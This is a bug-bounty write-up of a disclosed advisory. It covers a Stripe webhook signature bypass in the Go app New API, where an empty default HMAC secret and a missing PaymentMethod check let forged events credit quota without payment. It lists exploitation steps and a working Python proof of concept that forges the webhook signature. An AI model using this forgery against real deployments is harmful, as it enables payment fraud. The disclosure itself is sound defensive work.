# New API: Stripe Webhook Signature Bypass via Empty Secret Enables Unlimited Quota Fraud

New API's Stripe webhook accepted an empty HMAC secret and never checked PaymentMethod, letting anyone forge events to credit unlimited quota.

- Payout: Research
- Severity: high
- Program: New API
- Found by: ChangeYu0229
- Disclosed: 2026-04-24
- CVE: CVE-2026-41432
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xff3-5c9p-2mr4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xff3-5c9p-2mr4
- Tags: area:web domain:web impact:funds-loss impact:integrity kind:research platform:ghsa sev:high tech:go tech:payment technique:source-review vuln:auth-bypass vuln:business-logic vuln:misconfiguration

**Target:** Stripe webhook endpoint /api/stripe/webhook in Go Gin app
**Root cause:** StripeWebhookSecret defaults to empty and the Stripe SDK computes HMAC-SHA256 with an empty key instead of rejecting it; Recharge() also looks up orders by trade_no only, never validating PaymentMethod or payment_status.
**Steps:**
1. Register an account and `POST /api/user/pay` to create an Epay top-up order (e.g. `amount=10000`), leaving it `status=pending`.
2. `GET /api/user/topup/self` to read the pending order's `trade_no`.
3. Craft a `checkout.session.completed` payload with `client_reference_id` set to that `trade_no`, `status=complete`, `payment_status=paid`.
4. Compute `sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest()` and set header `Stripe-Signature: t={timestamp},v1={sig}`.
5. `POST /api/stripe/webhook` with the payload and forged signature; server verifies against empty secret, calls Recharge(), marks order success and credits quota.
6. Repeat steps 2-5 for unlimited credits.
**How found:** Code review of the webhook handler and Recharge() revealed the empty default secret, the SDK's empty-key HMAC behavior, missing payment_status check, and absence of PaymentMethod validation enabling cross-gateway fulfillment.
**Exploitation:** Unauthenticated attacker creates a pending order via any configured gateway (Epay), reads its trade_no, then forges a Stripe webhook signed with the empty HMAC key. Recharge() matches the order by trade_no regardless of PaymentMethod, so the Epay order is fulfilled and quota credited without payment; repeatable indefinitely, with fraudulent top-ups logged as normal successes.
**Escalation:** Cross-gateway fulfillment lets an attacker abuse any configured payment method (Epay/Creem/Waffo) even when Stripe is not configured, widening exposure to virtually all deployments with payments enabled.
**Insight:** When a webhook SDK accepts an empty HMAC key, the signature becomes publicly computable — check whether the secret has a secure default and whether fulfillment validates the order's originating gateway, not just its ID.

## Proof of concept (copied exactly from the original report)

**Python PoC forging Stripe webhook with empty secret**

```
import hmac, hashlib, time, json, requests

timestamp = int(time.time())
payload = json.dumps({
    "type": "checkout.session.completed",
    "data": {
        "object": {
            "client_reference_id": "<trade_no from step 3>",
            "status": "complete",
            "payment_status": "paid",
            "customer": "cus_fake",
            "amount_total": "0",
            "currency": "usd"
        }
    }
})
# Empty secret = publicly computable signature
sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest()
header = f"t={timestamp},v1={sig}"

requests.post("https://target/api/stripe/webhook",
    data=payload,
    headers={"Stripe-Signature": header, "Content-Type": "application/json"})
```

